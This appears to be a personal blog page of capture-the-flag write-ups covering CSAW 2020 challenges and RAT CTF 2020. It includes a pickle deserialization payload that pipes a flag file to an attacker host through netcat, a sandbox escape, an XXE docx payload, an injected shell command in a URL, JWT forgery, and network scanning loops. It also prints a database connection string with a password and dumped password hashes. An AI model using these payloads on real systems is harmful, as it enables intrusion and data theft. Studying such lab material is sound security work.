Cookie Consent by PrivacyPolicies.com

Latest entries | Page 10


CSAW CTF Qualification Round 2020: flask_caching

flask_caching

300 points

cache all the things (this is python3)

http://web.chal.csaw.io:5000

app.py

#!/usr/bin/env python3

from flask import Flask
from flask import request, redirect
from flask_caching import Cache
from redis import Redis
import jinja2
import os

app = Flask(__name__)
app.config['CACHE_REDIS_HOST'] = 'localhost'
app.config['DEBUG'] = False

cache = Cache(app, config={'CACHE_TYPE': 'redis'})
redis = Redis('localhost')
jinja_env = jinja2.Environment(autoescape=['html', 'xml'])


@app.route('/', methods=['GET', 'POST'])
def notes_post():
    if request.method == 'GET':
        return '''
        <h4>Post a note</h4>
        <form method=POST enctype=multipart/form-data>
        <input name=title placeholder=title>
        <input type=file name=content placeholder=content>
        <input type=submit>
        </form>
        '''

    print(request.form, flush=True)
    print(request.files, flush=True)
    title = request.form.get('title', default=None)
    content = request.files.get('content', default=None)

    if title is None or content is None:
        return 'Missing fields', 400

    content = content.stream.read()

    if len(title) > 100 or len(content) > 256:
        return 'Too long', 400

    redis.setex(name=title, value=content, time=3)  # Note will only live for max 30 seconds

    return 'Thanks!'


# This caching stuff is cool! Lets make a bunch of cached functions.

@cache.cached(timeout=3)
def _test0():
    return 'test'
@app.route('/test0')
def test0():
    _test0()
    return 'test'
@cache.cached(timeout=3)
def _test1():
    return 'test'
@app.route('/test1')
def test1():
    _test1()
    return 'test'
@cache.cached(timeout=3)
def _test2():
    return 'test'
@app.route('/test2')
def test2():
    _test2()
    return 'test'
@cache.cached(timeout=3)
def _test3():
    return 'test'
@app.route('/test3')
def test3():
    _test3()
    return 'test'
@cache.cached(timeout=3)
def _test4():
    return 'test'
@app.route('/test4')
def test4():
    _test4()
    return 'test'
@cache.cached(timeout=3)
def _test5():
    return 'test'
@app.route('/test5')
def test5():
    _test5()
    return 'test'
@cache.cached(timeout=3)
def _test6():
    return 'test'
@app.route('/test6')
def test6():
    _test6()
    return 'test'
@cache.cached(timeout=3)
def _test7():
    return 'test'
@app.route('/test7')
def test7():
    _test7()
    return 'test'
@cache.cached(timeout=3)
def _test8():
    return 'test'
@app.route('/test8')
def test8():
    _test8()
    return 'test'
@cache.cached(timeout=3)
def _test9():
    return 'test'
@app.route('/test9')
def test9():
    _test9()
    return 'test'
@cache.cached(timeout=3)
def _test10():
    return 'test'
@app.route('/test10')
def test10():
    _test10()
    return 'test'
@cache.cached(timeout=3)
def _test11():
    return 'test'
@app.route('/test11')
def test11():
    _test11()
    return 'test'
@cache.cached(timeout=3)
def _test12():
    return 'test'
@app.route('/test12')
def test12():
    _test12()
    return 'test'
@cache.cached(timeout=3)
def _test13():
    return 'test'
@app.route('/test13')
def test13():
    _test13()
    return 'test'
@cache.cached(timeout=3)
def _test14():
    return 'test'
@app.route('/test14')
def test14():
    _test14()
    return 'test'
@cache.cached(timeout=3)
def _test15():
    return 'test'
@app.route('/test15')
def test15():
    _test15()
    return 'test'
@cache.cached(timeout=3)
def _test16():
    return 'test'
@app.route('/test16')
def test16():
    _test16()
    return 'test'
@cache.cached(timeout=3)
def _test17():
    return 'test'
@app.route('/test17')
def test17():
    _test17()
    return 'test'
@cache.cached(timeout=3)
def _test18():
    return 'test'
@app.route('/test18')
def test18():
    _test18()
    return 'test'
@cache.cached(timeout=3)
def _test19():
    return 'test'
@app.route('/test19')
def test19():
    _test19()
    return 'test'
@cache.cached(timeout=3)
def _test20():
    return 'test'
@app.route('/test20')
def test20():
    _test20()
    return 'test'
@cache.cached(timeout=3)
def _test21():
    return 'test'
@app.route('/test21')
def test21():
    _test21()
    return 'test'
@cache.cached(timeout=3)
def _test22():
    return 'test'
@app.route('/test22')
def test22():
    _test22()
    return 'test'
@cache.cached(timeout=3)
def _test23():
    return 'test'
@app.route('/test23')
def test23():
    _test23()
    return 'test'
@cache.cached(timeout=3)
def _test24():
    return 'test'
@app.route('/test24')
def test24():
    _test24()
    return 'test'
@cache.cached(timeout=3)
def _test25():
    return 'test'
@app.route('/test25')
def test25():
    _test25()
    return 'test'
@cache.cached(timeout=3)
def _test26():
    return 'test'
@app.route('/test26')
def test26():
    _test26()
    return 'test'
@cache.cached(timeout=3)
def _test27():
    return 'test'
@app.route('/test27')
def test27():
    _test27()
    return 'test'
@cache.cached(timeout=3)
def _test28():
    return 'test'
@app.route('/test28')
def test28():
    _test28()
    return 'test'
@cache.cached(timeout=3)
def _test29():
    return 'test'
@app.route('/test29')
def test29():
    _test29()
    return 'test'
@cache.cached(timeout=3)
def _test30():
    return 'test'
@app.route('/test30')
def test30():
    _test30()
    return 'test'


if __name__ == "__main__":
    app.run('0.0.0.0', 5000)

Solution

Idea behind the solution is to overwrite one of the cached test functions with my own function, which will execute malicious code.

I've created python program to prepare payload file:

import pickle

class Malicious:
    def __reduce__(self):
        return (os.system, ('cat /flag.txt | nc MYIPADDRESS 4444',))

malicious_function = Malicious()
payload = pickle.dumps(malicious_function)
f = open('payload', 'wb')
f.write(b'!' + payload)
f.close()

Above code after execution left me a nice payload file that can be uploaded to the application

I didn't want to read all the flask_caching code, so I've started redis in docker (sudo docker run -p 6379:6379 -d --name redis redis) and the app to get the pattern of cachekey ;-) (it was achieved with redis-cli monitor)

Ok, at this point we got payload, we know the pattern of cachekey, one more thing is needed - nc -lvp 4444 running on my computer.

Let's try to submit the payload...

...and execute it by requesting http://web.chal.csaw.io:5000/test21

Surprisely, flag popped up on my netcat ;-)

CSAW CTF Qualification Round 2020: slithery

slithery

100 points

Setting up a new coding environment for my data science students. Some of them are l33t h4ck3rs that got RCE and crashed my machine a few times :(. Can you help test this before I use it for my class? Two sandboxes should be better than one...

nc pwn.chal.csaw.io 5011

sandbox.py

#!/usr/bin/env python3
from base64 import b64decode
import blacklist  # you don't get to see this :p

"""
Don't worry, if you break out of this one, we have another one underneath so that you won't
wreak any havoc!
"""

def main():
    print("EduPy 3.8.2")
    while True:
        try:
            command = input(">>> ")
            if any([x in command for x in blacklist.BLACKLIST]):
                raise Exception("not allowed!!")

            final_cmd = """
uOaoBPLLRN = open("sandbox.py", "r")
uDwjTIgNRU = int(((54 * 8) / 16) * (1/3) - 8)
ORppRjAVZL = uOaoBPLLRN.readlines()[uDwjTIgNRU].strip().split(" ")
AAnBLJqtRv = ORppRjAVZL[uDwjTIgNRU]
bAfGdqzzpg = ORppRjAVZL[-uDwjTIgNRU]
uOaoBPLLRN.close()
HrjYMvtxwA = getattr(__import__(AAnBLJqtRv), bAfGdqzzpg)
RMbPOQHCzt = __builtins__.__dict__[HrjYMvtxwA(b'X19pbXBvcnRfXw==').decode('utf-8')](HrjYMvtxwA(b'bnVtcHk=').decode('utf-8'))\n""" + command
            exec(final_cmd)

        except (KeyboardInterrupt, EOFError):
            return 0
        except Exception as e:
            print(f"Exception: {e}")

if __name__ == "__main__":
    exit(main())

Solution

Connect to the app and pass below commands:

blacklist.BLACKLIST = []
f = open('flag.txt', 'r')
print(f.read())

RAT CTF 2020

Introduction

I had pleasure to participate in RAT CTF 2020 on 5/6 September 2020. The competition organized by The XSS rat on Tryhackme platform. The goal was to find vulnerabilities and hidden flags on single "Ratpack" webapp. Sounds challenging ;-)

App deployment left me with IP address and nothing else. As it is an webapp I've started with visiting http://<IP> and yellow backgrounded site hit me in the eyes. Site was pretty simple, it contains registration, login and main functionality which was uploading and browsing the files. Worth mentioning - file extensions were limited to .txt, .doc, .docx but without real validation performing. HTTP headers informed me, that we are dealing with Express.js application.

First flag

The organizers shared hint - we should start attack by using XXE vulnerability. Helpful were shared video and tons of googled examples. I've created the example docx document with LibreOffice Writer and then opened it with file-roller.

Then, I edited /word/document.xml by adding: <!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///usr/src/app/index.js" > ]> and &xxe; in the document body. Hint about the path was available on the upload page. After uploading prepared document and viewing it via site I received below source code.

The part that caught my attention was const dotenv = require('dotenv'); which was the hint for reaching .env file. After fast change in my payload file I reached first flag.

Second flag

Before I get the first flag I've spend few hours trying to hack the JSON Web Token stored in the cookie. With the first flag I get TOKEN_SECRET which were missing part needed for logged user privilege escalation. To forge new JWT I've used jwt.io as below.

After gaining the admin rights I found, that on file preview page delete button appears. In the meanwhile organizers shared the hint - some elements of website are vulnerable for blind code execution. It was perfect candidate for that ;-)

I've prepared shell script, uploaded it and executed with the url http://<IP>/delete?file=key.txt%0A(cd+usr%0Acd+src%0Acd+app%0Acd+upload%0Ash+inject.txt). It's pretty funny, because I didn't create reverse shell. Instead of, I've made few dozens of payloads with shell commands, from which output was saved in uploads directory as txt files ready to preview. Finally, I've found the flag2.txt file on root filesystem and retrieved it with cp /flag2.txt ./ payload.

Third flag (not conquered)

Unfortunately, I didn't conquer it :-( I was almost sure, that third flag is stored in database (yeah, it would be too easy). Prepared below nodejs code and executed it.

const mongoose = require('mongoose');
mongoose.connect('mongodb://root:jDd4sgFcd##[email protected]b/', {useNewUrlParser: true});
var db = mongoose.connection;
db.on('error', console.error.bind(console, 'MongoDB connection error:'));
db.on('open', function () {
    db.db.listCollections().toArray(function (err, names) {
      if (err) {
        console.log(err);
      } else {
        console.log(names);
      }
    });
});


const User = require('./model/User');

User.find({}, function(err, dupa) {
        if (err) throw err;
        console.log(dupa.length);
        for (var i = 0;i < dupa.length; i++){
          console.log(dupa[i]._id);
          console.log(dupa[i].name);
          console.log(dupa[i].email);
          console.log(dupa[i].password);
          console.log(dupa[i].date);
        }
    });

Sadly, the output (below) was disappointing.

  {
    name: 'users',
    type: 'collection',
    options: {},
    info: { readOnly: false, uuid: [Binary] },
    idIndex: { v: 2, key: [Object], name: '_id_', ns: 'test.users' }
  }
]
3
5f1ae68405d8f2001c19f852
4ndr34z
[email protected]
$2a$10$spy7FSrAdLqGlQM2nn4IVO6QCYvKASZJt.xyRRbwsS4c9RWC.MJIq
2020-07-24T13:47:48.618Z
5f53caf4f2900900271614e2
Andreas
[email protected]
$2a$10$dgYp4MC80h46v/IWMOT6xuD6rqNZEn/LahSVlOrQHN7QKxIB4vxsG
2020-09-05T17:29:24.711Z
5f5544ac1463d90027892b19
[email protected]
[email protected]
$2a$10$X5rn7Umcry.CE0fQm5fDOuW6TLfwFql5PwSZwnpJErPAyogUFuH/6
2020-09-06T20:21:00.556Z

Next thing, that came up to my mind was to scan the network. Firstly I've checked if there any other machines available in the network:

for i in `seq 255`; do
ping -c 1 172.20.0.${i} >> ping_chain.txt 2>&1
done

The first three addresses responded. So, I've portscanned them with netcat. It is worth mentioning, that busybox netcat implementation gave me a headache - it doesn't support port ranges.

for i in `seq 9000`; do
nc -zv 172.20.0.1 ${i} >> nc2.txt 2>&1
nc -zv 172.20.0.2 ${i} >> nc2.txt 2>&1
nc -zv 172.20.0.3 ${i} >> nc2.txt 2>&1
done

This is how I found another nodejs webapp running on http://172.20.0.1:3000 I've started to play with it by preparing payloads and sending them with netcat when time was up and competition has been closed.

Summary

I didn't get all the flags, but learned a lot and had lot of fun. Thank you thexssrat! Cheers!